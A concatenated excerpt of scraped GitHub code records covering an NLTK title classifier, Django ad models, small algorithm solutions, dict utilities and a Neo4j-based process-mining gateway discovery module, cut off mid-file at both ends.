torch.squeeze(test_f, 1) + cov_f.pow(0.5)\n lower = torch.squeeze(test_f, 1) - cov_f.pow(0.5)\n # plot predictions\n ax.plot(test_x.numpy(), test_f.numpy(), 'b')\n ax.fill_between(torch.squeeze(test_x,1).numpy(), lower.numpy(), upper.numpy(), alpha=0.5)\n ax.set_ylim([-2, 2])\n ax.legend(['Observed Data', 'Mean', 'Confidence'])\n plt.show()\n","repo_name":"jnh277/deepGPforCT","sub_path":"example_1D.py","file_name":"example_1D.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"41150730843","text":"from datetime import datetime, timedelta\nfrom copy import deepcopy\nfrom itertools import groupby\n\n\ndef reverse_dict(dag):\n return {\n i[0]: [ii[1] for ii in i[1]]\n for i in groupby(\n sorted(\n [(parent, node) for node, parents in dag.items() for parent in parents]\n ),\n lambda x: x[0],\n )\n }\n\n\ndef reverse_dict_inclusive(dag):\n rev = {\n i[0]: [ii[1] for ii in i[1]]\n for i in groupby(\n sorted(\n [(parent, node) for node, parents in dag.items() for parent in parents]\n ),\n lambda x: x[0],\n )\n }\n rev.update({n: list() for n in dag.keys() if n not in rev})\n return rev\n\n\ndef merge_dicts(into_dict, from_dict):\n if isinstance(into_dict, list):\n if not isinstance(from_dict, list):\n return deepcopy(from_dict)\n else:\n return deepcopy(into_dict + from_dict)\n elif isinstance(into_dict, dict):\n if not isinstance(from_dict, dict):\n return deepcopy(from_dict)\n else:\n output = dict()\n for k in set(into_dict.keys()).union(from_dict.keys()):\n if k in from_dict and k in into_dict:\n output[k] = merge_dicts(into_dict[k], from_dict[k])\n else:\n output[k] = deepcopy(into_dict.get(k) or from_dict.get(k))\n\n return output\n else:\n return from_dict\n\n\ndef merge_dict_list(dict_list):\n into_dict = dict_list[0]\n for from_dict in dict_list[1:]:\n into_dict = merge_dicts(into_dict, from_dict)\n\n return into_dict\n\n\ndef map_nested(ob, func):\n if isinstance(ob, dict):\n return {k: map_nested(v, func) for k, v in ob.items()}\n elif isinstance(ob, list):\n return [map_nested(e, func) for e in ob]\n else:\n return func(ob)\n\n\ndef group_list(items):\n return {\n k: [vv[1] for vv in v]\n for k, v in groupby(sorted(items, key=lambda x: x[0]), lambda x: x[0])\n }\n","repo_name":"173TECH/sayn","sub_path":"sayn/utils/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","stars":115,"dataset":"github-code","pt":"47"} +{"seq_id":"21143110570","text":"import sys\ninput = lambda: sys.stdin.readline().rstrip()\n\nsys.setrecursionlimit(10**6)\n\ndef postorder(first, end):\n if first > end:\n return\n mid = end+1\n for i in range(first+1, end+1):\n if arr[first] < arr[i]:\n mid = i\n break\n\n postorder(first+1, mid-1)\n postorder(mid, end)\n \n return arr[first]\n\n\narr = []\n# EOF Error\nwhile True:\n try:\n arr.append(int(input()))\n except:\n break\n\nprint(postorder(0, len(arr)-1))\n","repo_name":"cpwoo/CodeTest","sub_path":"Python/boj/tree/5639.py","file_name":"5639.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"33277038892","text":"from nltk.tokenize import word_tokenize\nimport nltk\nimport pickle\nimport random\nimport pandas as pd\nfrom Relevance import VoteClassifier as vc\n\nstop_words = {'who', 'all', 'very', 'can', \"she's\", 'did', 'hadn', 'they', \"that'll\", \"you'll\", 'through', 'than',\n 'most', 'out', 'in', 'theirs', 'your', 'are', 'y', 'this', 'some', 'few', 'themselves', 'you', \"won't\",\n 'against', 've', 'don', 'me', 'while', 'by', 'further', 'aren', 'wasn', 's', 'now', 'hers', 'on', 'was',\n 'i', \"haven't\", 'shan', 'where', \"mightn't\", 'isn', 'were', 'once', 're', 'yourselves', 'or', 'if',\n \"weren't\", 'had', 'wouldn', 'it', 'ma', 'd', 'how', \"should've\", 'own', 'won', \"you're\", 'when', 'he',\n \"needn't\", 'does', 'been', 'these', 'itself', 'which', 'any', 'needn', 'its', 'what', 'there', 'my',\n 'more', 'his', 'whom', 'him', \"mustn't\", 'down', 'the', 'she', 'both', 'hasn', 'ain', \"shouldn't\",\n 'has', 'll', \"wasn't\", \"hadn't\", 'up', 'will', 'ours', 'yours', 'her', 'as', 'below', 'then', 'here',\n 'for', \"didn't\", 'yourself', 'do', 'over', 'them', 'between', 'from', 'that', 't', 'with', 'being',\n \"doesn't\", \"shan't\", 'and', 'at', \"you've\", \"hasn't\", 'doesn', \"couldn't\", 'couldn', 'an', 'because',\n 'before', 'each', 'nor', \"it's\", 'into', 'himself', 'have', \"aren't\", 'above', 'am', 'didn', 'just',\n 'herself', 'after', 'why', 'shouldn', 'such', 'doing', 'too', \"isn't\", 'no', 'ourselves', \"don't\",\n 'but', 'about', 'a', 'having', 'be', 'haven', 'm', 'of', 'to', 'myself', 'again', 'is', 'we', 'not',\n 'our', 'mightn', 'only', 'so', 'under', 'other', 'their', \"you'd\", 'o', 'those', 'mustn', 'weren',\n 'off', 'should', \"wouldn't\", 'until', 'same', 'during', '-', '(', ')', '|', ',', '[', ']', ':', '%', 'no',\n \"'\", '!', '?'}\n\nnew_words = [('grab bike', 100), ('grab car', 100), ('grab pay', 100), ('grab app', 100), ('grab express', 100),\n ('surge pricing', 100), ('grab driver', 100), (' grab mod ', 100), ('grab food', 100), (' mod grab ', 100),\n ('grab ph', 100), ('grab indonesia', 100), ('justgrab', 100), ('grabhitch', 100), ('grabshare', 100),\n ('grabcar', 100), ('grabbike', 100),\n ('grab phillipines', 100), ('anthony tan', 100), ('tan hooi ling', 100), ('grabmod', 100), ('grabpay', 100)]\n\ndeterministic = ['grab mod', 'mod grab', 'grabmod', 'grabcar', 'grabbike']\n\nc = open('/Users/mingjun.lim/Documents/youtubeScraper/Pickles/my_classifier.pickle', 'rb')\nmnb = open('/Users/mingjun.lim/Documents/youtubeScraper/pickles/MNB_classifier.pickle', 'rb')\nbnb = open('/Users/mingjun.lim/Documents/youtubeScraper/pickles/BernoulliNB_classifier.pickle', 'rb')\nlg = open('/Users/mingjun.lim/Documents/youtubeScraper/pickles/LogisticRegression_classifier.pickle', 'rb')\nsgd = open('/Users/mingjun.lim/Documents//youtubeScraper/pickles/SGD_classifier.pickle', 'rb')\nlsvc = open('/Users/mingjun.lim/Documents/youtubeScraper/pickles/LinearSVC_classifier.pickle', 'rb')\nte = open('/Users/mingjun.lim/Documents/youtubeScraper/pickles/test_set.pickle', 'rb')\ntr = open('/Users/mingjun.lim/Documents/youtubeScraper/pickles/train_set.pickle', 'rb')\nwf = open('/Users/mingjun.lim/Documents/youtubeScraper/pickles/word_features.pickle', 'rb')\n\nclassifier = pickle.load(c)\nMNB_classifier = pickle.load(mnb)\nBernoulliNB_classifier = pickle.load(bnb)\nLogisticRegression = pickle.load(lg)\nSGD_classifier = pickle.load(sgd)\nLinearSVC_classifier = pickle.load(lsvc)\nword_features = pickle.load(wf)\ntrain_set = pickle.load(tr)\ntest_set = pickle.load(te)\n\nvote_classifier = vc.VoteClassifier(classifier, LogisticRegression, SGD_classifier)\n\ndef dehypdeslash(title):\n result1 = title\n if '-' in result1:\n result1 = title.split('-')\n result1 = ' '.join(result1)\n if '/' in result1:\n result1 = result1.split('/')\n result1 = ' '.join(result1)\n return result1\n\ndef clean(title):\n tokenize = []\n title = dehypdeslash(title)\n words = word_tokenize(title)\n for word in words:\n lowercase_word = word.lower()\n if lowercase_word not in stop_words:\n tokenize.append(lowercase_word)\n return tokenize\n\ndef document_features(doc):\n doc_words = set(doc)\n features = {}\n for (word, freq) in word_features:\n features['contains({})'.format(word)] = (word in doc_words)\n return features\n\ndef special_features(title):\n toke = []\n for item in new_words:\n if item[0] in title.lower():\n toke.append(item[0])\n return toke\n\ndef predictor(titles):\n for title in titles:\n cleaned = clean(title)\n d_f = document_features(cleaned)\n print(title + ': ' + str(vote_classifier.classify(d_f)))\n\ndef truth_predictor(titles):\n for title in titles:\n cleaned = clean(title)\n d_f = document_features(cleaned)\n featurized = {}\n for feature in d_f:\n if d_f[feature] == True:\n featurized[feature] = True\n print(title + ': ' + str(vote_classifier.classify(featurized)))\n\n\ndef create_test_set(csvFileName): #takes in a string (the name of a file or directory)\n df = pd.read_csv(csvFileName)\n documents = []\n lib = []\n index = 0\n for title in df['title']:\n documents.append([title, df['relevance'][index]])\n index += 1\n test_set = documents\n return test_set\n\n# Takes in a list of lists [[Title, relevance], [Title, relevance], ...] and appends true classification to the end of each list\ndef append_truth_predictor(titlesWithRelevance, classifier):\n positives = [item for item in titlesWithRelevance if item[1] == 1]\n negatives = [item for item in titlesWithRelevance if item[1] == 0]\n print(\"Positives: \" + str(len(positives)))\n print(\"Negatives: \" + str(len(negatives)))\n\n toprint = []\n for thingy in titlesWithRelevance:\n title = thingy[0]\n title = dehypdeslash(title)\n toke = special_features(title)\n cleaned = clean(title)\n for item in toke:\n cleaned.append(item)\n d_f = document_features(cleaned)\n # featurized = {}\n # for feature in d_f:\n # if d_f[feature] == True:\n # featurized[feature] = True\n if len(thingy) == 3:\n thingy[2] = classifier.classify(d_f)\n else:\n thingy.append(classifier.classify(d_f))\n if thingy[1] != thingy[2]:\n toprint.append(thingy)\n # for item in toprint:\n # print(item[0] + ': ' + str(item[1]) + ' ' + str(item[2]))\n\n false_negatives = [item for item in toprint if item[1] == 1]\n print(\"Number of False_negatives is: \" + str(len(false_negatives)))\n print(\"Number of False_positives is: \" + str(len(toprint) - len(false_negatives)))\n\ndef append_truth_predictor_fn(titlesWithRelevance, classifierFn):\n positives = [item for item in titlesWithRelevance if item[1] == 1]\n negatives = [item for item in titlesWithRelevance if item[1] == 0]\n print(\"Positives: \" + str(len(positives)))\n print(\"Negatives: \" + str(len(negatives)))\n\n toprint = []\n for thingy in titlesWithRelevance:\n title = thingy[0]\n title = dehypdeslash(title)\n toke = special_features(title)\n cleaned = clean(title)\n for item in toke:\n cleaned.append(item)\n d_f = document_features(cleaned)\n # featurized = {}\n # for feature in d_f:\n # if d_f[feature] == True:\n # featurized[feature] = True\n if len(thingy) == 3:\n thingy[2] = classifierFn(title)\n else:\n thingy.append(classifierFn(title))\n if thingy[1] != thingy[2]:\n toprint.append(thingy)\n # for item in toprint:\n # print(item[0] + ': ' + str(item[1]) + ' ' + str(item[2]))\n\n false_negatives = [item for item in toprint if item[1] == 1]\n print(\"Number of False_negatives is: \" + str(len(false_negatives)))\n print(\"Number of False_positives is: \" + str(len(toprint) - len(false_negatives)))\n\ndef spitter(strink):\n title = strink\n title = dehypdeslash(title)\n if checker(title.lower()):\n spit = 1\n else:\n toke = special_features(title)\n cleaned = clean(title)\n for item in toke:\n cleaned.append(item)\n d_f = document_features(cleaned)\n spit = classifier.classify(d_f)\n return spit\n\ndef checker(title):\n for word in deterministic:\n if word in title:\n return True\n return False\n\ndef NB_deterministic_predictor(titlesWithRelevance):\n positives = [item for item in titlesWithRelevance if item[1] == 1]\n negatives = [item for item in titlesWithRelevance if item[1] == 0]\n print(\"Positives: \" + str(len(positives)))\n print(\"Negatives: \" + str(len(negatives)))\n\n toprint = []\n for thingy in titlesWithRelevance:\n title = thingy[0]\n title = dehypdeslash(title)\n if checker(title.lower()):\n if len(thingy) == 3:\n thingy[2] = 1\n else:\n thingy.append(1)\n if int(thingy[1]) != int(thingy[2]):\n toprint.append(thingy)\n else:\n toke = special_features(title)\n cleaned = clean(title)\n for item in toke:\n cleaned.append(item)\n d_f = document_features(cleaned)\n if len(thingy) == 3:\n thingy[2] = classifier.classify(d_f)\n else:\n thingy.append(classifier.classify(d_f))\n if int(thingy[1]) != int(thingy[2]):\n toprint.append(thingy)\n for item in toprint:\n print(item[0] + ': ' + str(item[1]) + ' ' + str(item[2]))\n\n false_negatives = [item for item in toprint if item[1] == 1 or item[1] == '1']\n print(\"Number of False_negatives is: \" + str(len(false_negatives)))\n print(\"Number of False_positives is: \" + str(len(toprint) - len(false_negatives)))\n\ndef positive_append(titlesWithRelevance, classifier, printt=False):\n # print(titlesWithRelevance)\n positives = [item for item in titlesWithRelevance if item[1] == 1]\n print(\"Positives: \" + str(len(positives)))\n\n toprint = []\n for thingy in positives:\n title = thingy[0]\n title = dehypdeslash(title)\n if checker(title.lower()):\n if len(thingy) == 3:\n thingy[2] = 1\n else:\n thingy.append(1)\n continue\n toke = special_features(title)\n cleaned = clean(title)\n for item in toke:\n cleaned.append(item)\n d_f = document_features(cleaned)\n if len(thingy) == 3:\n thingy[2] = classifier.classify(d_f)\n else:\n thingy.append(classifier.classify(d_f))\n if int(thingy[1]) != int(thingy[2]):\n toprint.append(thingy)\n if printt:\n for item in toprint:\n print(item[0] + ': ' + str(item[1]) + ' ' + str(item[2]))\n\n false_negatives = [item for item in toprint if item[1] == 1]\n print(\"Number of False_negatives is: \" + str(len(false_negatives)))\n\ndef positive_append_fn(titlesWithRelevance, classifierFn, printt=False):\n # print(titlesWithRelevance)\n positives = [item for item in titlesWithRelevance if item[1] == 1]\n print(\"Positives: \" + str(len(positives)))\n\n toprint = []\n for thingy in positives:\n title = thingy[0]\n title = dehypdeslash(title)\n if checker(title.lower()):\n if len(thingy) == 3:\n thingy[2] = 1\n else:\n thingy.append(1)\n continue\n toke = special_features(title)\n cleaned = clean(title)\n for item in toke:\n cleaned.append(item)\n d_f = document_features(cleaned)\n if len(thingy) == 3:\n thingy[2] = classifierFn(title)\n else:\n thingy.append(classifierFn(title))\n if int(thingy[1]) != int(thingy[2]):\n toprint.append(thingy)\n if printt:\n for item in toprint:\n print(item[0] + ': ' + str(item[1]) + ' ' + str(item[2]))\n\n false_negatives = [item for item in toprint if item[1] == 1]\n print(\"Number of False_negatives is: \" + str(len(false_negatives)))\n print(\"Number of False_positives is: \" + str(len(toprint) - len(false_negatives)))\n\ndef outputSaver(NBclassifierFn, csvTest):\n df = pd.read_csv(csvTest)\n index = 0\n published_at = []\n video_id = []\n title = []\n description = []\n relevance = []\n threat = []\n pred_relevance = []\n\n try:\n x = df['threat']\n isThreat = True\n except:\n isThreat = False\n\n for item in df['title']:\n if NBclassifierFn(item) == 1:\n published_at.append(df['published_at'][index])\n video_id.append(df['video_id'][index])\n title.append(df['title'][index])\n description.append(df['description'][index])\n relevance.append(df['relevance'][index])\n if isThreat:\n threat.append(df['threat'][index])\n pred_relevance.append(1)\n index += 1\n\n new_df = pd.DataFrame(published_at, columns=['published_at'])\n new_df['video_id'] = video_id\n new_df['title'] = title\n new_df['description'] = description\n new_df['relevance'] = relevance\n if isThreat:\n new_df['threat'] = threat\n new_df['pred_relevance'] = pred_relevance\n\n new_df.to_csv('/Users/mingjun.lim/Documents/youtubeScraper/Data/firstRound.csv')\n\n\ndef documents_maker(positive= False):\n documents = []\n index = 0\n for item in test_set:\n if positive:\n if item[1] == 1 or item[1] == '1':\n title = dehypdeslash(item[0])\n toke = special_features(title)\n cleaned = clean(title)\n for itemz in toke:\n cleaned.append(itemz)\n documents.append((document_features(cleaned), item[1]))\n index += 1\n else:\n tokenize = []\n title = dehypdeslash(item[0])\n toke = special_features(title)\n cleaned = clean(title)\n for itemz in toke:\n cleaned.append(itemz)\n documents.append((document_features(cleaned), item[1]))\n index += 1\n return documents\n\n########## UNCOMMENT ME TO USE THE REAL TEST SET #######################\ntest_set = create_test_set('/Users/mingjun.lim/Documents/youtubeScraper/Data/test_data.csv')\n# test_set = create_test_set('/Users/mingjun.lim/Documents/youtubeScraper/Data/testThreatLabelledFull.csv')\n####### 'test_set' otherwise refers to pickled validation set ######\n\ndocuments = documents_maker()\n# predictor(predicting_titles)\n# print(\"\\n\")\n# # truth_predictor(predicting_titles)\n# print(\"Original Naive Bayes accuracy:\", (nltk.classify.accuracy(classifier, documents)))\n# NB_deterministic_predictor(test_set)\n# # positive_append(test_set, classifier)\n# print(\"MNB_classifier accuracy:\", (nltk.classify.accuracy(MNB_classifier, documents)))\n# # append_truth_predictor(test_set, MNB_classifier)\n# print(\"BernoulliNB_classifier accuracy:\", (nltk.classify.accuracy(BernoulliNB_classifier, documents)))\n# # append_truth_predictor(test_set, BernoulliNB_classifier)\n# print(\"LogisticRegression_classifier accuracy:\", (nltk.classify.accuracy(LogisticRegression, documents)))\n# # positive_append(test_set, LogisticRegression)\n# print(\"SGD_classifier accuracy:\", (nltk.classify.accuracy(SGD_classifier, documents)))\n# # positive_append(test_set, SGD_classifier)\n# print(\"LinearSVC_classifier accuracy:\", (nltk.classify.accuracy(LinearSVC_classifier, documents)))\n# # append_truth_predictor(test_set, LinearSVC_classifier)\n# print(\"voteclassifier accuracy:\", (nltk.classify.accuracy(vote_classifier, documents)))\n# positive_append(test_set, vote_classifier)\n# append_truth_predictor_fn(test_set, spitter)\noutputSaver(spitter, '/Users/mingjun.lim/Documents/youtubeScraper/Data/testThreatLabelledFull.csv')\n\nc.close()\nmnb.close()\nbnb.close()\nlg.close()\nsgd.close()\nlsvc.close()\nwf.close()\ntr.close()\nte.close()\n","repo_name":"mingjunlimgrab/youtubeScraper","sub_path":"Relevance/nltkAnalysisPredictorMJ(updated).py","file_name":"nltkAnalysisPredictorMJ(updated).py","file_ext":"py","file_size_in_byte":16165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25419914732","text":"from django.contrib.auth import get_user_model\nfrom django.db import models\nfrom django.urls import reverse\n\nUserModel = get_user_model()\n\nSTATUS_CHOICES = [(\"moderated\", \"Moderated\"), (\"published\", \"Published\"),\n (\"rejected\", \"Rejected\"), (\"for_removal\", \"For removal\")]\n\n\nclass Ad(models.Model):\n photo = models.ImageField(null=True, blank=True, verbose_name='Изображение', upload_to='images')\n title = models.CharField(max_length=128, verbose_name=\"Заголовок\")\n text = models.TextField(max_length=2000, blank=True, null=True, verbose_name=\"Описание\")\n coast = models.DecimalField(null=True, blank=True, max_digits=9, decimal_places=2, verbose_name='Стоимость')\n author = models.ForeignKey(UserModel, on_delete=models.CASCADE, verbose_name='Автор', related_name='ads')\n status = models.CharField(max_length=20, default='moderated',\n choices=STATUS_CHOICES, verbose_name='Статусы')\n category = models.ForeignKey('ad.Category', on_delete=models.CASCADE,\n related_name='ads', verbose_name='Категории')\n created_at = models.DateTimeField(auto_now_add=True, verbose_name=\"Дата создания\")\n updated_at = models.DateTimeField(auto_now=True, verbose_name=\"Дата изменения\")\n publication_date = models.DateTimeField(null=True, blank=True, verbose_name=\"Дата публикации\")\n\n def get_absolute_url(self):\n return reverse('ad:detail_ad', kwargs={'pk': self.pk})\n\n def __str__(self):\n return f\"{self.pk}. {self.title}: {self.author} - {self.created_at}\"\n\n class Meta:\n verbose_name = 'Объявление'\n verbose_name_plural = 'Объявления'\n db_table = 'ads'\n\n\nclass Category(models.Model):\n name = models.CharField(max_length=30, verbose_name=\"Категория\")\n\n def __str__(self):\n return f\"{self.pk}. {self.name}\"\n\n class Meta:\n verbose_name = 'Категория'\n verbose_name_plural = 'Категории'\n db_table = 'category'\n","repo_name":"Yusupov-Aslan/python9and10finallycw","sub_path":"source/ad/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24120303183","text":"class Solution:\n def findLatestStep(self, arr: List[int], m: int) -> int:\n\n size = [0] * (len(arr) + 2)\n\n if m == len(arr):\n return m\n\n res = -1\n for step, i in enumerate(arr, 1):\n l = size[i - 1]\n r = size[i + 1]\n\n s = l + r + 1\n\n if l == m or r == m:\n res = step - 1\n\n size[i - l] = size[i + r] = s\n\n return res","repo_name":"munagekar/cp","sub_path":"leetcode/01562.py","file_name":"01562.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7407311588","text":"class Solution(object):\n def wordPattern(self, pattern, str):\n \"\"\"\n :type pattern: str\n :type str: str\n :rtype: bool\n \"\"\"\n p2s = {}\n s2p = {}\n components = str.split(\" \")\n if len(pattern) != len(components):\n return False\n for i, letter in enumerate(pattern):\n component = components[i]\n if letter in p2s and component != p2s[letter]:\n return False\n if component in s2p and letter != s2p[component]:\n return False\n p2s[letter] = component\n s2p[component] = letter\n return True\n","repo_name":"michael153/leetcode","sub_path":"290/290.py","file_name":"290.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"16715671851","text":"from helper import generalHelper, joinHelper\n\n\nclass GateDiscovery:\n def __init__(self, session):\n self.__session = session\n\n # print('t: ', t) # t = split node\n # print('S: ', S)\n # print('C: ', C)\n # print('F: ', F)\n def discoverAND(self, session, t, S, C, F, counter, GWlist, joinANDgw):\n concurrentPair = []\n A = set() # concurrentPair\n # Check potensi konkurensi\n for s1 in S:\n print('=========== telusuri tiap direct succession ===============')\n CF1 = set()\n CF1.update(C[s1].union(F[s1])) # Cover+Future 1\n for s2 in S:\n print('=========== telusuri pasangan direct succession nya ===============')\n CF2 = set()\n CF2.update(C[s2].union(F[s2])) # Cover+Future 2\n if (CF1 == CF2) and (s1 != s2): # cari pasangan konkuren\n A.add(s2) # node s2 dengan konkurensi, sekaligus penanda bahwa masih ada konkuren nodes\n if len(A) > 0: # jika ada konkurensi\n A.add(s1) # node s1 otomatis jg mrpk node konkurensi\n break # dikerjakan satu gateway dulu (yg CF nya sama)\n\n if (len(A) > 0): # multi konkuren nodes --> cek dulu apa ada 1 join node utk semua split node?\n print('=========== ditemukan multi konkuren nodes ===============')\n allJoinNodes = joinHelper.getAllJoinNodes(session)\n\n # Get valid block from 2 entrances\n # input: list of entrances\n # output:list of entrance-allPathVariantsTo-exit\n allPathVariantsFromEntranceToExit = generalHelper.getAllPossiblePathsFromEntranceToExit(session, list(A), allJoinNodes)\n\n # input 2 entrance, some paths, 1 join node. Result: valid block only\n valid_blocks = dict()\n for pathVariantsFromEntranceToExit in allPathVariantsFromEntranceToExit:\n entrance0 = pathVariantsFromEntranceToExit[0][0]\n paths0 = pathVariantsFromEntranceToExit[0][\n 1] # [['VESSEL_ATB', 'DISCHARGE', 'JOB_DEL'], ['VESSEL_ATB', 'DISCHARGE', 'STACK']]\n entrance1 = pathVariantsFromEntranceToExit[1][0]\n paths1 = pathVariantsFromEntranceToExit[1][1]\n joinNode = pathVariantsFromEntranceToExit[0][2]\n\n # dapat valid kandidat regions\n allValidEntrancePairToJoinBlock = joinHelper.getValidEntrancesToJoinPaths(paths0,\n paths1) # dapat path yg valid, bs lebih dari 1\n print('validEntranceCombPaths= ', allValidEntrancePairToJoinBlock)\n\n # jika ada validPaths\n for validEntrancePairToJoinBlock in allValidEntrancePairToJoinBlock: # [validEntrancesToJoinPath, status, [exit0,exit1]\n regionA = allValidEntrancePairToJoinBlock[0][0][0]\n print('regionA= ', regionA) # regionA= ['CUSTOMS_DEL', 'JOB_DEL']\n regionB = allValidEntrancePairToJoinBlock[0][0][1]\n print('regionB= ', regionB) # regionB= ['VESSEL_ATB', 'DISCHARGE', 'STACK']\n\n # input: 2 region. Region = entrance node to exit node\n # detect and handle a shorcut between 2 regions\n # output: number of shorcut found\n generalHelper.shortcutHandlerBetweenRegion(session, regionA, regionB)\n\n exit = validEntrancePairToJoinBlock[2] # [exit0,exit1]\n if len(validEntrancePairToJoinBlock[0]) > 0: # validEntrancesToJoinPath --> ada distance path nya\n entrancePair = [entrance0, entrance1]\n entrancePair.sort() # seragamkan\n entrancePair = tuple(entrancePair) # ubah ke tuple\n distance = validEntrancePairToJoinBlock[0][2]\n\n if entrancePair not in valid_blocks: # cari pasangan entrance yang ada di daftar valid block\n valid_blocks[entrancePair] = []\n valid_blocks[entrancePair].append([joinNode, exit, distance])\n else:\n valid_blocks[entrancePair].append([joinNode, exit, distance]) # 27 mei 2023, sudah ada distance\n\n print('valid_blocks==> ', valid_blocks)\n # valid_blocks==> {\n # ('BAPLIE', 'VESSEL_ATB'): [['DISCHARGE', ['BAPLIE', 'VESSEL_ATB'], 2]],\n # ('BAPLIE', 'CUSTOMS_DEL'): [['JOB_DEL', ['CUSTOMS_DEL', 'DISCHARGE'], 3], ['TRUCK_IN', ['JOB_DEL', 'STACK'], 5]],\n # ('CUSTOMS_DEL', 'VESSEL_ATB'): [['JOB_DEL', ['CUSTOMS_DEL', 'DISCHARGE'], 3], ['TRUCK_IN', ['JOB_DEL', 'STACK'], 5]]}\n\n\n # input : valid blocks\n # output: joinNode with its all possible entrances and paths\n joinNodeEnum = generalHelper.enumJoinNode(valid_blocks)\n\n # merge entrances or exits with beririsan\n for joinNode in joinNodeEnum:\n entrance_to_exit_pairs = joinNodeEnum[joinNode] # [[('BAPLIE', 'VESSEL_ATB'), ['VESSEL_ATB', 'BAPLIE']]]\n merged_entrance_to_exit_pairs = joinHelper.mergeEntrance_exit_pairs(joinNodeEnum, joinNode, entrance_to_exit_pairs)\n print('mergedEntrance_exit_pairs= ', merged_entrance_to_exit_pairs)\n\n # pick the minimal number of entrancesPairPaths --> KOREKSI\n # cari block hirarki dengan join node terdekat, ciri2nya punya entrance paling sedikit dan jarak ke join node terdekat\n\n shortest = 1000\n closestHirarchies = []\n theJoinNode = ''\n for joinNode in merged_entrance_to_exit_pairs: # β\n for entrance_to_exit_pairs in merged_entrance_to_exit_pairs[joinNode]: # [[('BAPLIE', 'VESSEL_ATB'), ['VESSEL_ATB', 'BAPLIE']]]\n NumOfEntrances = len(entrance_to_exit_pairs[0])\n if NumOfEntrances < shortest:\n shortest = NumOfEntrances\n closestHirarchies = [[entrance_to_exit_pairs, joinNode]]\n elif NumOfEntrances == shortest:\n closestHirarchies.append([entrance_to_exit_pairs, joinNode])\n print('closestHirarchy= ', closestHirarchies)\n\n for closestHirarchy in closestHirarchies:\n # insert split_AND_gw\n SCP = list(closestHirarchy[0][0]) # SCP = entrances, bisa lebih dari 2\n g = self.insertANDSplitGW(session, t, SCP, counter)\n print('g= ', g)\n\n # insert join_AND_gw\n JCP = closestHirarchy[0][1] # JCP = exits\n joinNode = closestHirarchy[1]\n joinANDgw.append([\"andJoinGW_\" + str(counter), JCP, joinNode])\n\n counter = counter + 1 # node number in a block counter\n\n SCPLen = len(SCP) # ['BAPLIE', 'VESSEL_ATB']\n if g is not None:\n GWlist.append(g)\n Cu = set()\n Fi = set()\n for i in range(SCPLen): # jumlah node concurent pair (s1,s2,...)\n # print('i=', i)\n # print('Cu= ', Cu)\n # print('C=', C)\n print('C[CP[i]]= ', C[SCP[i]])\n Cu.update(C[SCP[i]]) # tambahkan cover (dari s1, s2,...) ke set\n Fi.update(F[SCP[i]]) # tambahkan future ke set\n S.remove(SCP[i]) # hapus dari S karena digantikan dg g\n C.pop(SCP[i])\n F.pop(SCP[i])\n S.append(g) # tambahkan node gateway ke S\n C[g] = Cu\n # print('C= ', C)\n # print('F= ', F)\n # print('Fi= ', Fi)\n F[g] = Fi\n print('F= ', F)\n print('S: ', S)\n return S, C, F, counter, A, GWlist, joinANDgw # selama masih ditemukan konkuren (A>0) perlu diulang\n\n\n # 1. deteksi xor split\n # 2. temukan hirarki\n # 3. deteksi join nya\n # 4. simpan data join dalam tabel\n def discoverXOR(self, session, t, S, C, F, counter):\n print('t= ', t)\n X = set() # concurrentPair\n # Check potensi konkurensi\n for s1 in S:\n print('=========== telusuri tiap direct succession ===============')\n print('s1: ', s1)\n Cu = set()\n Cu.update(C[s1]) # Cover+Future 1\n # print('CF1: ', CF1)\n for s2 in S:\n print('=========== telusuri pasangan direct succession nya ===============')\n if F[s1] == F[s2] and (s1 != s2): # cari pasangan konkuren\n X.add(s2) # node s2 dengan konkurensi, sekaligus penanda bahwa masih ada konkuren nodes\n Cu.union(C[s2])\n\n if len(X) > 0: # jika ada XOR\n X.add(s1)\n break # dikerjakan satu gateway dulu (yg CF nya sama)\n\n if len(X) > 0:\n X_list = list(X)\n g = self.insertXORSplitGW(session, t, X_list, counter)\n\n # deteksi XOR-join\n\n # catat XOR-join\n\n # jika X sudah kosong maka hasil return nilai nya akan menghentikan loop while\n return S, C, F, counter, X\n\n def insertXORSplitGW(self, session, splitNodeName, splitPairs, counter):\n # Split detection\n\n q_split = '''\n MATCH (n {Name:$splitNodeName})-[r:DFG]->(a:RefModel)\n WHERE a.Name in $splitPairs\n MERGE (n)-[s:DFG {rel:r.rel}]->(splitGW:GW:RefModel {Name:\"andSplitGW\"+\"_\"+$counter})\n WITH s, r, splitGW, a\n MERGE (splitGW)-[t:DFG {rel:r.rel, dff:r.dff}]->(a)\n // hapus r\n DELETE r\n SET t.split = True, splitGW.type= 'andSplit', splitGW.split_gate = True\n WITh s, sum(t.dff) as sum_t_dff, splitGW\n SET s.dff = sum_t_dff\n WITH splitGW\n RETURN splitGW.Name\n '''\n records = session.run(q_split, splitNodeName=splitNodeName, splitPairs=splitPairs, counter=counter)\n\n for rec in records:\n if rec is not None:\n for splitGWName in rec:\n print(splitGWName)\n return splitGWName\n else:\n return None\n\n def insertANDSplitGW(self, session, splitNodeName, conPair, counter):\n # Split detection\n\n q_split = '''\n MATCH (n {Name:$splitNodeName})-[r:DFG]->(a:RefModel)\n WHERE a.Name in $conPair\n MERGE (n)-[s:DFG {rel:r.rel}]->(splitGW:GW:RefModel {Name:\"andSplitGW\"+\"_\"+$counter})\n WITH s, r, splitGW, a\n MERGE (splitGW)-[t:DFG {rel:r.rel, dff:r.dff}]->(a)\n // hapus r\n DELETE r\n SET t.split = True, splitGW.type= 'andSplit', splitGW.split_gate = True\n WITh s, sum(t.dff) as sum_t_dff, splitGW\n SET s.dff = sum_t_dff\n WITH splitGW\n RETURN splitGW.Name\n '''\n records = session.run(q_split, splitNodeName=splitNodeName, 